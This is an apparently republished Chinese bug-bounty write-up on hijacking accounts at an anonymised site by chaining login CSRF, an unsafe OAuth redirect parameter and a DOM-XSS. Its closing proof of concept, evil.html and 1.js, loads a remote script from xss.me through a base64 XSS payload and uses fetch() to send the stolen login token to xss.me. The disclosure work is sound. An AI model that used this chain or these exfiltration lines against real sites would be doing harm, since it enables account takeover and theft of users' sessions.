Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

组合漏洞导致的账号劫持

$
0
0
Login CSRF + DOM-XSS + unsafe URL redirect = ATO

在最近参与的一次对站点A的众测中,我发现A可以使用QQ账号进行登陆。在过去的几个月里,我发现了大量关于OAuth登陆劫持的漏洞,如果你有兴趣,可以参考: OAuth回调参数漏洞案例解析

尽管我相信目标A已经不存在OAuth登陆劫持漏洞(因为QQ已经在redirect_uri参数上做了强校验),但是我仍打算对它的登陆流程一探究竟。

下面,我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。

打开A的QQ登陆链接后,我发现了一些奇妙的事。


组合漏洞导致的账号劫持

如上图,redirect_uri并没有指向A.com,而是指向了B.com。将参数URL解码,


组合漏洞导致的账号劫持

不难推测,这里涉及到2次跨域登陆:

redirect_uri: qq.com => B.com s_url: B.com => A.com

在开头已经说过,QQ已经对redirect_uri参数做了强校验,要想劫持到B.com的登陆账号已经不太可能。所以,我的目标放在了s_url这个参数上。

简单分析一下登陆流程就能发现s_url是如何工作的。

(a)首先,用户使用QQ账号登陆到B.com;

(b)然后B.com发送如下请求,获取token,并引导用户携带token跳转到A.com;


组合漏洞导致的账号劫持

(c)A.com验证token是合法的,则种下cookie。


组合漏洞导致的账号劫持

至此,用户成功登陆到A.com。

从整个登陆流程来看,只要我们能想办法窃取到token,就能劫持用户的登陆账号。

unsafe URL redirect

我的目标是窃取到token,最直接的办法当然是修改参数s_url,让用户携带token跳转到恶意域名,从而泄露token。


组合漏洞导致的账号劫持

一番测试后,我发现s_url的校验也很严格,即使在路径后面附加一些字符,生成的跳转链接中都不会携带token。


组合漏洞导致的账号劫持

经过一些fuzz后,我发现我似乎能在最后一个字符后面附加一些符号。


组合漏洞导致的账号劫持

我可以在s_url的结尾附加3种符号,而不影响token的生成,分别是:

%3f => ? %20 => 空格 %23 => #

# 让我眼前一亮,众所周知,URL中的 # 将被浏览器视作锚点,其后的数据不会发送到服务器。


组合漏洞导致的账号劫持

当用户跳转到这个地址,自然会无法认证成功,并停留在Login页面。


组合漏洞导致的账号劫持

此时token也将出现在URL中。


组合漏洞导致的账号劫持

至此,我们已经在窃取token的道路上迈出了重要的一步。

DOM-XSS

现在,我们面临的问题是如何获取到URL中的token。

最容易想到的就是XSS啦,我们可以用XSS创建一个iframe,在iframe加载登陆链接,当跳转完成后,再获取iframe的 location.href 属性。

一番寻找后,我终于找到一处疑似存在DOM-XSS的函数,

renderFrame: function (url, param, path, hash, isOld) { var that = this; hash && (url += isOld ? "/" + hash : "#" + hash), param && param._hash && (url += param._hash), url += window.location.search, path = path.replace(/(\/?console\/?)/, ""), path = path.replace(/\/\*/, ""); var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'), ......

验证后发现确实存在,payload:


组合漏洞导致的账号劫持

但是这个XSS必须用户登陆后才能触发,如果能找一处登陆CSRF,就能使得漏洞更通用了。

Login CSRF

其实在前面已经提到了这个漏洞了,


组合漏洞导致的账号劫持

这个请求不会检查referer,携带未使用过的token请求这个链接就能登陆成功。所以,只要我们事先准备一个没使用过的token,让受害者请求这个链接就行了。

ATO

接下来理一下整个利用过程:

登陆我自己的账号,抓一个token 让受害者用我的token登陆 触发XSS A.com/Login#token=111

在打开OAuth登陆界面这一步我原本打算使用iframe,但是测试后发现在iframe里无法无法跳转到A.com,因为B.com使用了如下代码来防止iframe加载,

if (top != self) { top.location.href = s_url; } else { top.location.replace(s_url); }

但我们可以使用 window.open() 开一个新窗口来绕过。

以下是我写的一个POC:

evil.html:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login CSRF</title> </head> <body> <!--首先创建一个iframe用我的token登陆--> <iframe src="https://A.com/Index/Login?token={My_token}" sandbox="allow-popups allow-scripts allow-same-origin" width="500px" height="500px"></iframe> <script> // 登陆成功后,跳转到XSS地址 function redirect2xss() { window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//"; } setTimeout(redirect2xss, 6000); </script> </body> </html>

1.js:

document.body.onload = function () { // 打开OAuth登陆界面 myWindow = window.open('https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa', '', 'width=600,height=600'); setTimeout(function () { // 获取token data = myWindow.document.location.href; fetch("//xss.me/?data=" + escape(data)); }, 9000); };


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images